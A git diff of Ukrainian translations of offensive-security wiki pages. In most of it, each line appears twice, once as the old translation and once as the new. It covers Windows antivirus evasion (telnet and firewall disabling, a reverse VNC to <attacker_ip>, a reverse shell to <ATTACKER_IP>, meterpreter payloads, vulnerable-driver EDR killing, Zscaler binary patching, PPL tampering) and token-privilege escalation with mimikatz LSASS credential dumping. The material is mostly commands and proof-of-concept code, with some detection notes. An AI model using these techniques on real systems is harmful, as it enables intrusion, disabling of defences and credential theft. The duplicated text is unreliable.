Налаштуйте його так, щоб воно **запускалося** при старті системи, і **запустіть** його зараз:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Змінити порт telnet** (прихований) та вимкнути брандмауер:
**Змінити telnet port** (stealth) і вимкнути firewall:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Завантажити звідси: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (вам потрібні bin-завантаження, не setup)
Завантажити з: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (потрібні bin downloads, не setup)
**ON THE HOST**: Запустіть _**winvnc.exe**_ та налаштуйте сервер:
**ON THE HOST**: Запустіть _**winvnc.exe**_ і налаштуйте сервер:
- Увімкніть опцію _Disable TrayIcon_
- Встановіть пароль у _VNC Password_
@ -502,17 +504,17 @@ netsh advfirewall set allprofiles state off
#### **Reverse connection**
The **attacker** має **виконати всередині** свого **host** бінарний файл `vncviewer.exe -listen 5900`, щоб він був **готовий** перехопити зворотне **VNC connection**. Потім, всередині **victim**: запустіть демон winvnc `winvnc.exe -run` і виконайте `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
УВАГА: Щоб зберегти прихованість, не потрібно робити кілька речей
УВАГА: Щоб зберегти прихованість, не робіть наступного
- Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). перевірте, чи він працює командою `tasklist | findstr winvnc`
- Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open
- Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png)
- Не запускайте `winvnc` якщо він уже запущений або ви викличете [popup](https://i.imgur.com/1SROTTl.png). Перевірте чи він запущений за допомогою `tasklist | findstr winvnc`
- Не запускайте `winvnc` без `UltraVNC.ini` у тій самій директорії або це викличе відкриття [the config window](https://i.imgur.com/rfMQWcf.png)
- Не запускайте `winvnc -h` за допомогою параметра help або ви викличете [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT
Завантажити звідси: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
Завантажити з: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -530,13 +532,13 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Тепер **start the lister** за допомогою `msfconsole -r file.rc` і **виконайте** **xml payload**:
Тепер **запустіть lister** за допомогою `msfconsole -r file.rc` та **виконайте** **xml payload** за допомогою:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Поточний Defender дуже швидко завершить процес.**
**Поточний defender дуже швидко завершить процес.**
### Компіляція нашого власного reverse shell
### Компілювання власного reverse shell
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
@ -546,7 +548,7 @@ https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
Використовуйте з:
Використовуйте це з:
```
back.exe <ATTACKER_IP> <PORT>
```
@ -623,7 +625,7 @@ catch (Exception err) { }
}
}
```
### C# using компілятор
### C# — використання компілятора
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -658,7 +660,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Використання python для прикладу створення injectors:
### Використання python для build injectors (приклад):
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -693,22 +695,22 @@ https://github.com/praetorian-code/vulcan
## Bring Your Own Vulnerable Driver (BYOVD) Killing AV/EDR From Kernel Space
Storm-2603 використав невелику консольну утиліту, відому як **Antivirus Terminator**, щоб відключити захист кінцевих точок перед розгортанням ransomware. Інструмент постачає власний **вразливий, але *підписаний* драйвер** і зловживає ним для виконання привілейованих операцій в ядрі, які не можуть бути заблоковані навіть AV-сервісами, що працюють як Protected-Process-Light (PPL).
Storm-2603 використав невелику консольну утиліту, відому як **Antivirus Terminator**, щоб відключити endpoint-захист перед розгортанням ransomware. Інструмент приносить свій **вразливий але *підписаний* драйвер** і зловживає ним для виконання привілейованих операцій в ядрі, які навіть Protected-Process-Light (PPL) AV сервіси не можуть блокувати.
Ключові висновки
1. **Підписаний драйвер**: Файл, записаний на диск — `ServiceMouse.sys`, але бінарник — це легітимно підписаний драйвер `AToolsKrnl64.sys` з “System In-Depth Analysis Toolkit” від Antiy Labs. Оскільки драйвер має дійсний підпис Microsoft, він завантажується навіть коли увімкнено Driver-Signature-Enforcement (DSE).
2. **Встановлення сервісу**:
Key take-aways
1. **Signed driver**: Файл, записаний на диск — `ServiceMouse.sys`, але бінарник — легітимно підписаний драйвер `AToolsKrnl64.sys` від Antiy Labs “System In-Depth Analysis Toolkit”. Оскільки драйвер має дійсний підпис Microsoft, він завантажується навіть коли Driver-Signature-Enforcement (DSE) увімкнено.
2. **Service installation**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
Перший рядок реєструє драйвер як ядерну службу, а другий запускає її, завдяки чому `\\.\ServiceMouse` стає доступним з користувацького простору.
3. **IOCTLи, які експонуються драйвером**
| IOCTL code | Можливість |
|-----------:|----------------------------------------|
| `0x99000050` | Завершити довільний процес за PID (використовується для вбивства Defender/EDR сервісів) |
| `0x990000D0` | Видалити довільний файл на диску |
| `0x990001D0` | Розвантажити драйвер та видалити сервіс |
Перший рядок реєструє драйвер як **kernel service**, а другий запускає його так, щоб `\\.\ServiceMouse` став доступним з user land.
3. **IOCTLs exposed by the driver**
| IOCTL code | Capability |
|-----------:|-----------------------------------------|
| `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
| `0x990000D0` | Delete an arbitrary file on disk |
| `0x990001D0` | Unload the driver and remove the service |
Minimal C proof-of-concept:
```c
@ -722,28 +724,28 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Чому це працює**: BYOVD повністю обходить захист у user-mode; код, що виконується в ядрі, може відкривати *protected* процеси, завершувати їх або маніпулювати об’єктами ядра незалежно від PPL/PP, ELAM чи інших механізмів захисту.
4. **Why it works**: BYOVD повністю обходить user-mode захисти; код, що виконується в ядрі, може відкривати *protected* процеси, завершувати їх або маніпулювати об’єктами ядра незалежно від PPL/PP, ELAM чи інших механізмів жорсткого захисту.
Виявлення / пом'якшення
• Увімкніть список блокування вразливих драйверів Microsoft (`HVCI`, `Smart App Control`), щоб Windows відмовлялася завантажувати `AToolsKrnl64.sys`.
• Моніторте створення нових *kernel* сервісів і сповіщайте, коли драйвер завантажується з директорії з правами запису для всіх або коли його немає в allow-list.
• Слідкуйте за дескрипторами в user-mode до кастомних device-об’єктів, за якими слідують підозрілі виклики `DeviceIoControl`.
Detection / Mitigation
• Увімкніть Microsofts vulnerable-driver block list (`HVCI`, `Smart App Control`), щоб Windows відмовився завантажувати `AToolsKrnl64.sys`.
• Моніторьте створення нових *kernel* сервісів і сповіщайте, коли драйвер завантажується з директорії з доступом для запису для всіх або коли він відсутній в allow-list.
• Слідкуйте за user-mode дескрипторами до кастомних device object, за якими слідують підозрілі виклики `DeviceIoControl`.
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Zscalers **Client Connector** застосовує правила перевірки стану пристрою локально і покладається на Windows RPC для передачі результатів іншим компонентам. Два слабкі проєктні рішення роблять повний обхід можливим:
Zscalers **Client Connector** застосовує device-posture правила локально і покладається на Windows RPC для передачі результатів іншим компонентам. Два слабкі дизайнерські рішення роблять повний bypass можливим:
1. Оцінка стану виконується **повністю на клієнті** (на сервер відправляється булеве значення).
2. Внутрішні RPC-ендпоінти лише перевіряють, що підключаючийся виконуваний файл **підписаний Zscaler** (через `WinVerifyTrust`).
1. Оцінка posture відбувається **повністю на клієнті** (на сервер надсилається булеве значення).
2. Внутрішні RPC кінцеві точки перевіряють лише те, що підключуваний виконуваний файл **підписаний Zscaler** (через `WinVerifyTrust`).
Змінюючи **чотири підписані бінарні файли на диску**, обидва механізми можна нейтралізувати:
Шляхом **патчингу чотирьох підписаних бінарників на диску** обидва механізми можна нейтралізувати:
| Binary | Original logic patched | Result |
|--------|------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Завжди повертає `1`, тож кожна перевірка вважається пройденою |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ будь-який (навіть неподписаний) процес може підключитися до RPC-пайпів |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Replaced by `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Integrity checks on the tunnel | Пропущено |
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Завжди повертає `1`, тому кожна перевірка вважається compliant |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ будь-який (навіть unsigned) процес може прив’язатися до RPC pipes |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Замінено на `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Integrity checks on the tunnel | Short-circuited |
Minimal patcher excerpt:
```python
@ -759,22 +761,22 @@ else:
f.seek(off)
f.write(replacement)
```
Після заміни оригінальних файлів та перезапуску стеку сервісів:
Після заміни оригінальних файлів і перезапуску service stack:
* **Всі** перевірки стану показують **зелений/відповідає вимогам**.
* Не підписані або змінені бінарні файли можуть відкривати RPC-ендпоїнти через іменований pipe (наприклад `\\RPC Control\\ZSATrayManager_talk_to_me`).
* Скомпрометований хост отримує необмежений доступ до внутрішньої мережі, визначеної політиками Zscaler.
* **All** posture checks display **green/compliant**.
* Несигновані або змінені бінарні файли можуть відкривати named-pipe RPC endpoints (наприклад `\\RPC Control\\ZSATrayManager_talk_to_me`).
* Компрометований хост отримує необмежений доступ до internal network, визначеної політиками Zscaler.
Цей кейс демонструє, як виключно клієнтські рішення щодо довіри та прості перевірки підпису можна обійти кількома патчами байтів.
Цей кейс демонструє, як чисто клієнтські рішення довіри та прості перевірки підпису можуть бути подолані кількома байтовими патчами.
## Зловживання Protected Process Light (PPL) для маніпулювання AV/EDR за допомогою LOLBINs
## Зловживання Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
Protected Process Light (PPL) забезпечує ієрархію підписувача/рівня, так що лише захищені процеси з рівнем не нижче можуть втручатися один в одного. Зловмисно, якщо ви можете легітимно запустити бінарник із підтримкою PPL та контролювати його аргументи, ви можете перетворити безпечну функціональність (наприклад, логування) у обмежений примітив запису, підкріплений PPL, проти захищених директорій, які використовуються AV/EDR.
Protected Process Light (PPL) забезпечує ієрархію signer/level, так що лише процеси з рівнем не нижчим можуть модифікувати один одного. В атаці, якщо ви легітимно можете запустити PPL-enabled бінар і контролювати його аргументи, ви можете перетворити безпечну функціональність (наприклад, логування) на обмежений PPL-підтримуваний write primitive проти захищених директорій, які використовують AV/EDR.
Що змушує процес працювати як PPL
- Цільовий EXE (та будь-які завантажені DLL) має бути підписаний з EKU, сумісним з PPL.
- Процес має бути створений за допомогою CreateProcess з прапорами: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- Має бути запрошено сумісний рівень захисту, який відповідає підписувачу бінарника (наприклад, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` для підписувачів anti-malware, `PROTECTION_LEVEL_WINDOWS` для підписувачів Windows). Неправильні рівні призведуть до помилки при створенні.
Що змушує процес запускатися як PPL
- Цільовий EXE (та будь-які завантажені DLL) має бути підписаний з EKU, що підтримує PPL.
- Процес має бути створений через CreateProcess з прапорами: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- Має бути запитано сумісний рівень захисту, що відповідає підписувачу бінарника (наприклад, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` для anti-malware signers, `PROTECTION_LEVEL_WINDOWS` для Windows signers). Неправильні рівні призведуть до помилки при створенні.
See also a broader intro to PP/PPL and LSASS protection here:
@ -783,9 +785,9 @@ stealing-credentials/credentials-protections.md
{{#endref}}
Launcher tooling
- Відкритий інструмент: CreateProcessAsPPL (вибирає рівень захисту та пересилає аргументи до цільового EXE):
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
- Схема використання:
- Usage pattern:
```text
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
@ -793,51 +795,51 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
LOLBIN примітив: ClipUp.exe
- The signed system binary `C:\Windows\System32\ClipUp.exe` самозапускається і приймає параметр для запису лог-файлу у шлях, вказаний викликачем.
- When launched as a PPL process, the file write occurs with PPL backing.
- ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
LOLBIN primitive: ClipUp.exe
- Підписаний системний бінарник `C:\Windows\System32\ClipUp.exe` самозапускається і приймає параметр для запису файлу журналу за шляхом, вказаним викликом.
- При запуску як PPL-процес запис файлу виконується з підтримкою PPL.
- ClipUp не може розбирати шляхи, що містять пробіли; використовуйте короткі 8.3-імена, щоб вказати на зазвичай захищені розташування.
8.3 short path helpers
- List short names: `dir /x` in each parent directory.
- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Abuse chain (abstract)
1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (e.g., CreateProcessAsPPL).
2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (e.g., Defender Platform). Use 8.3 short names if needed.
3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging).
4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup.
1) Запустіть PPL-сумісний LOLBIN (ClipUp) з `CREATE_PROTECTED_PROCESS`, використовуючи лаунчер (наприклад, CreateProcessAsPPL).
2) Передайте аргумент шляху журналу ClipUp, щоб примусово створити файл у захищеному каталозі AV (наприклад, Defender Platform). За потреби використовуйте 8.3 короткі імена.
3) Якщо цільовий бінарник зазвичай відкритий/заблокований AV під час роботи (наприклад, MsMpEng.exe), заплануйте запис під час завантаження до того, як AV стартує, встановивши автозапусковий сервіс, який гарантовано запускається раніше. Перевірте порядок завантаження за допомогою Process Monitor (boot logging).
4) Після перезавантаження запис з підтримкою PPL відбувається до того, як AV заблокує свої бінарники, пошкоджуючи цільовий файл і перешкоджаючи запуску.
Example invocation (paths redacted/shortened for safety):
```text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
Notes and constraints
- Ви не можете контролювати вміст, який записує ClipUp, окрім розміщення; примітива підходить для пошкодження, а не для точного інжектування вмісту.
- Вимагає локального admin/SYSTEM для встановлення/запуску служби та вікна перезавантаження.
- Час виконання критичний: ціль не повинна бути відкритою; виконання під час завантаження уникає блокувань файлів.
Примітки та обмеження
- Ви не можете контролювати вміст, який записує ClipUp, окрім розміщення; цей примітив підходить для корупції, а не для точного інжекційного вмісту.
- Потребує локальних прав admin/SYSTEM для встановлення/запуску служби та вікна перезавантаження.
- Час виконання критичний: ціль не повинна бути відкрита; виконання під час завантаження уникає блокувань файлів.
Detections
- Створення процесу `ClipUp.exe` з незвичними аргументами, особливо якщо батьківський процес — нестандартний засіб запуску, навколо часу завантаження.
- Нові служби, налаштовані на автостарт підозрілих бінарних файлів і які стабільно запускаються до Defender/AV. Розслідуйте створення/зміну служби перед помилками запуску Defender.
- Моніторинг цілісності файлів у директоріях бінарників Defender/Platform; несподівані створення/зміни файлів процесами з прапорцями protected-process.
- ETW/EDR телеметрія: шукайте процеси, створені з `CREATE_PROTECTED_PROCESS`, та аномальне використання рівнів PPL непов'язаними з AV бінарними файлами.
Виявлення
- Створення процесу `ClipUp.exe` з незвичними аргументами, особливо коли батьківський процес — нестандартний лаунчер, в період завантаження.
- Нові служби, налаштовані на автостарт підозрілих бінарних файлів і які послідовно запускаються перед Defender/AV. Досліджуйте створення/зміну служб до збоїв запуску Defender.
- Моніторинг цілісності файлів для бінарників Defender та директорій Platform; несподіване створення/зміна файлів процесами з прапорами protected-process.
- ETW/EDR телеметрія: шукайте процеси, створені з `CREATE_PROTECTED_PROCESS`, та аномальне використання рівнів PPL невідповідними non-AV binaries.
Mitigations
- WDAC/Code Integrity: обмежте, які підписані бінарні файли можуть запускатися як PPL і під якими батьківськими процесами; блокувати виклик ClipUp поза легітимними контекстами.
- Service hygiene: обмежте створення/зміну служб з автостартом та моніторьте маніпуляції порядком запуску.
- Переконайтесь, що Defender tamper protection та ранні захисні механізми запуску увімкнені; розслідуйте помилки запуску, які вказують на корупцію бінарних файлів.
- Розгляньте відключення генерації коротких імен 8.3 на томах, що містять security tooling, якщо це сумісно з вашим середовищем (ретельно тестуйте).
Пом'якшення
- WDAC/Code Integrity: обмежити, які підписані бінарники можуть запускатися як PPL і під якими батьківськими процесами; блокувати виклики ClipUp поза легітимними контекстами.
- Гігієна служб: обмежити створення/зміну служб з автостартом та моніторити маніпуляції порядком запуску.
- Переконайтесь, що Defender tamper protection та early-launch protections увімкнені; дослідіть помилки запуску, що вказують на пошкодження бінарників.
- Розгляньте можливість відключення генерації коротких імен 8.3 на томах, що містять інструменти безпеки, якщо це сумісно з вашим середовищем (ретельно протестуйте).
References for PPL and tooling
Посилання щодо PPL та інструментів
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## Посилання
## References
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)

View File

@ -1,180 +0,0 @@
# Зловживання токенами
{{#include ../../../banners/hacktricks-training.md}}
## Токени
Якщо ви **не знаєте, що таке токени доступу Windows**, прочитайте цю сторінку перед продовженням:
{{#ref}}
../access-tokens.md
{{#endref}}
**Можливо, ви зможете підвищити привілеї, зловживаючи токенами, які у вас вже є**
### SeImpersonatePrivilege
Це привілей, який має будь-який процес, що дозволяє зловживати (але не створювати) будь-яким токеном, якщо можна отримати до нього дескриптор. Привілейований токен можна отримати з Windows-сервісу (DCOM), спонукаючи його виконати NTLM-аутентифікацію проти експлойту, що дозволяє виконати процес з привілеями SYSTEM. Цю вразливість можна експлуатувати за допомогою різних інструментів, таких як [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (який вимагає, щоб winrm був вимкнений), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) та [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
{{#ref}}
../roguepotato-and-printspoofer.md
{{#endref}}
{{#ref}}
../juicypotato.md
{{#endref}}
### SeAssignPrimaryPrivilege
Цей привілей дуже схожий на **SeImpersonatePrivilege**, він використовує **той же метод** для отримання привілейованого токена.\
Потім цей привілей дозволяє **призначити первинний токен** новому/призупиненому процесу. З привілейованим токеном імперсонації ви можете отримати первинний токен (DuplicateTokenEx).\
З токеном ви можете створити **новий процес** за допомогою 'CreateProcessAsUser' або створити призупинений процес і **встановити токен** (в загальному, ви не можете змінити первинний токен працюючого процесу).
### SeTcbPrivilege
Якщо ви активували цей токен, ви можете використовувати **KERB_S4U_LOGON** для отримання **токена імперсонації** для будь-якого іншого користувача без знання облікових даних, **додати довільну групу** (адміністратори) до токена, встановити **рівень цілісності** токена на "**середній**" і призначити цей токен **поточному потоку** (SetThreadToken).
### SeBackupPrivilege
Цей привілей змушує систему **надавати всі права на читання** для будь-якого файлу (обмежено до операцій читання). Він використовується для **читання хешів паролів локальних облікових записів адміністратора** з реєстру, після чого такі інструменти, як "**psexec**" або "**wmiexec**", можуть бути використані з хешем (техніка Pass-the-Hash). Однак ця техніка не спрацьовує за двох умов: коли обліковий запис локального адміністратора вимкнено або коли діє політика, яка позбавляє адміністративних прав локальних адміністраторів, які підключаються віддалено.\
Ви можете **зловживати цим привілеєм** за допомогою:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
- слідуючи **IppSec** на [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
- Або, як пояснено в розділі **підвищення привілеїв з операторами резервного копіювання**:
{{#ref}}
../../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
### SeRestorePrivilege
Цей привілей надає дозвіл на **запис** до будь-якого системного файлу, незалежно від списку контролю доступу (ACL) файлу. Це відкриває численні можливості для підвищення привілеїв, включаючи можливість **модифікувати сервіси**, виконувати DLL Hijacking і встановлювати **дебагери** через параметри виконання файлів образу серед інших технік.
### SeCreateTokenPrivilege
SeCreateTokenPrivilege - це потужний привілей, особливо корисний, коли користувач має можливість імперсувати токени, але також і за відсутності SeImpersonatePrivilege. Ця можливість залежить від здатності імперсувати токен, який представляє того ж користувача і рівень цілісності якого не перевищує рівень цілісності поточного процесу.
**Ключові моменти:**
- **Імперсонація без SeImpersonatePrivilege:** Можливо використовувати SeCreateTokenPrivilege для EoP, імперсуючи токени за певних умов.
- **Умови для імперсонації токена:** Успішна імперсонація вимагає, щоб цільовий токен належав тому ж користувачу і мав рівень цілісності, який менший або дорівнює рівню цілісності процесу, що намагається імперсувати.
- **Створення та модифікація токенів імперсонації:** Користувачі можуть створювати токен імперсонації та покращувати його, додаючи SID (ідентифікатор безпеки) привілейованої групи.
### SeLoadDriverPrivilege
Цей привілей дозволяє **завантажувати та вивантажувати драйвери пристроїв** з створенням запису реєстру з конкретними значеннями для `ImagePath` та `Type`. Оскільки прямий доступ на запис до `HKLM` (HKEY_LOCAL_MACHINE) обмежений, потрібно використовувати `HKCU` (HKEY_CURRENT_USER). Однак, щоб зробити `HKCU` впізнаваним для ядра для конфігурації драйвера, потрібно дотримуватися певного шляху.
Цей шлях: `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, де `<RID>` - це відносний ідентифікатор поточного користувача. Всередині `HKCU` потрібно створити цей весь шлях і встановити два значення:
- `ImagePath`, що є шляхом до виконуваного бінарного файлу
- `Type`, зі значенням `SERVICE_KERNEL_DRIVER` (`0x00000001`).
**Кроки для виконання:**
1. Доступ до `HKCU` замість `HKLM` через обмежений доступ на запис.
2. Створити шлях `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` в `HKCU`, де `<RID>` представляє відносний ідентифікатор поточного користувача.
3. Встановити `ImagePath` на шлях виконання бінарного файлу.
4. Призначити `Type` як `SERVICE_KERNEL_DRIVER` (`0x00000001`).
```python
# Example Python code to set the registry values
import winreg as reg
# Define the path and values
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
reg.CloseKey(key)
```
Більше способів зловживання цим привілеєм у [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
### SeTakeOwnershipPrivilege
Це схоже на **SeRestorePrivilege**. Його основна функція дозволяє процесу **приймати власність на об'єкт**, обходячи вимогу явного дискреційного доступу шляхом надання прав доступу WRITE_OWNER. Процес включає спочатку отримання власності на потрібний ключ реєстру для запису, а потім зміну DACL для дозволу операцій запису.
```bash
takeown /f 'C:\some\file.txt' #Now the file is owned by you
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
# Use this with files that might contain credentials such as
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
c:\inetpub\wwwwroot\web.config
```
### SeDebugPrivilege
Ця привілегія дозволяє **налагоджувати інші процеси**, включаючи читання та запис у пам'ять. Можна використовувати різні стратегії для ін'єкції пам'яті, здатні уникати більшості антивірусних рішень та рішень для запобігання вторгненням на хост.
#### Dump memory
Ви можете використовувати [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) з [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) або [SharpDump](https://github.com/GhostPack/SharpDump) для **захоплення пам'яті процесу**. Зокрема, це може стосуватися процесу **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, який відповідає за зберігання облікових даних користувача після успішного входу користувача в систему.
Потім ви можете завантажити цей дамп у mimikatz, щоб отримати паролі:
```
mimikatz.exe
mimikatz # log
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```
#### RCE
Якщо ви хочете отримати оболонку `NT SYSTEM`, ви можете використати:
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
```bash
# Get the PID of a process running as NT SYSTEM
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
```
### SeManageVolumePrivilege
`SeManageVolumePrivilege` — це право користувача Windows, яке дозволяє користувачам керувати дисковими томами, включаючи їх створення та видалення. Хоча воно призначене для адміністраторів, якщо його надати користувачам, які не є адміністраторами, його можна експлуатувати для підвищення привілеїв.
Можливо використати це право для маніпуляції томами, що призводить до повного доступу до томів. [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) може бути використаний для надання повного доступу всім користувачам для C:\
Крім того, процес, описаний у [цьому Medium статті](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37), описує використання DLL hijacking у поєднанні з `SeManageVolumePrivilege` для підвищення привілеїв. Розміщуючи DLL з payload `C:\Windows\System32\wbem\tzres.dll` і викликаючи `systeminfo`, DLL виконується.
## Check privileges
```
whoami /priv
```
**Токени, які з'являються як Вимкнені**, можуть бути увімкнені, ви насправді можете зловживати _Увімкненими_ та _Вимкненими_ токенами.
### Увімкнути всі токени
Якщо у вас є вимкнені токени, ви можете використовувати скрипт [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) для увімкнення всіх токенів:
```bash
.\EnableAllTokenPrivs.ps1
whoami /priv
```
Або **скрипт**, вбудований у цей [**пост**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
## Таблиця
Повна таблиця привілеїв токенів доступна за адресою [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), нижче наведено лише прямі способи експлуатації привілею для отримання адміністративної сесії або читання чутливих файлів.
